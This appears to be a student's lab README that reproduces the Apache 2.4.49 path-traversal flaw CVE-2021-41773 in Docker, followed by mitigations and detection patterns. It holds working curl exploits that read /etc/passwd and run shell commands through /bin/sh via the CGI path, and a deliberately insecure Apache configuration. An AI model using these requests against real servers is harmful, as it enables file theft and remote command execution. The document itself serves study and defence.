lheeeesoo/apache-cve-2021-41773WHS 4기 이희수. kr-vulhub 과제 제출물
Contributors
Apache HTTP Server 2.4.49 has a vulnerability where it fails to properly block encoded parent paths during URL path normalization.
An attacker can use values like .%2e to traverse outside the directories that the web server is configured to serve. In environments where access to external directories is allowed, internal server files may be exposed, and if CGI functionality is enabled, system shells can be executed, leading to remote command execution.
This project builds an Apache HTTP Server 2.4.49 environment using Docker and reproduces the following two scenarios:
/etc/passwd file using Path TraversalCVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
Build the Docker image and run the container with the following command:
docker compose up -d --build
Check the container run status with the following command:
docker ps
In the output, verify that the container is Up and that host port 8080 is mapped to container port 80.
Access the following URL in a browser:
http://localhost:8080
Confirm the environment setup is complete by seeing the Apache web page displayed correctly.
Check the Apache version inside the container with the following command:
docker compose exec web /usr/local/apache2/bin/httpd -v
Output:
Server version: Apache/2.4.49 (Unix)
This confirms that Apache HTTP Server 2.4.49, which is affected by CVE-2021-41773, is running.
The following conditions are applied in this lab environment:
daemon userThe Apache configuration allows access to the filesystem root as follows:
<Directory "/">
AllowOverride None
Require all granted
</Directory>
Additionally, the following configuration is used for CGI execution:
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
The following request uses encoded parent paths to access the /etc/passwd file inside the container.
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
.%2e is processed as .. after URL decoding.
Thus, an attacker can traverse multiple parent directories from the Alias path to access the /etc/passwd file.
Output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
/etc/passwd contains system account information such as usernames, UID, GID, home directories, and login shells.
Although actual passwords are not included, this demonstrates an information disclosure vulnerability because internal server files that should not be accessible to normal external web users are exposed simply via an HTTP request.
In a real production environment, the following sensitive information could be exposed in the same way:
The following request uses Path Traversal to access /bin/sh and execute the whoami command.
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Output:
daemon
Since the /cgi-bin/ path is set with ScriptAlias, Apache does not simply read files in that path but executes them as CGI programs.
After accessing /bin/sh via Path Traversal, passing commands in the request body causes them to be executed with the privileges of the Apache account.
In this environment, Apache runs as the following account:
User daemon
Group daemon
Thus, the command output also shows the daemon user.
Although it is not root, the following additional threats could arise:
Instead of running individual commands, you can use the PoC script to verify the normal service, Path Traversal, and remote command execution all at once.
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
The script checks the following items in order:
[1] Verify normal service
[2] Access /etc/passwd via Path Traversal
[3] Execute id command via CGI
Do not use Apache HTTP Server 2.4.49; update to the latest version with security patches.
In production environments, the filesystem root should be denied by default.
<Directory "/">
Require all denied
</Directory>
Only allow necessary web directories.
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
If CGI functionality is not needed, disable the following:
mod_cgiScriptAliasExecCGIRun the Apache process as a restricted service account (not root), and minimize the files and directories that account can access.
Detect and block requests containing abnormal paths such as:
.%2e
%2e%2e
/cgi-bin/
docker compose down
In this lab, we built Apache HTTP Server 2.4.49 using a Dockerfile and set up a reproducible vulnerable environment using Docker Compose.
We confirmed that a Path Traversal request exposes the /etc/passwd file inside the container, which should not be accessible to normal web users.
We also confirmed that in an environment with CGI enabled, it is possible to access /bin/sh and execute system commands with the privileges of the Apache daemon account.
This demonstrates that CVE-2021-41773 is not only a simple path exposure vulnerability but can also lead to remote command execution depending on the configuration.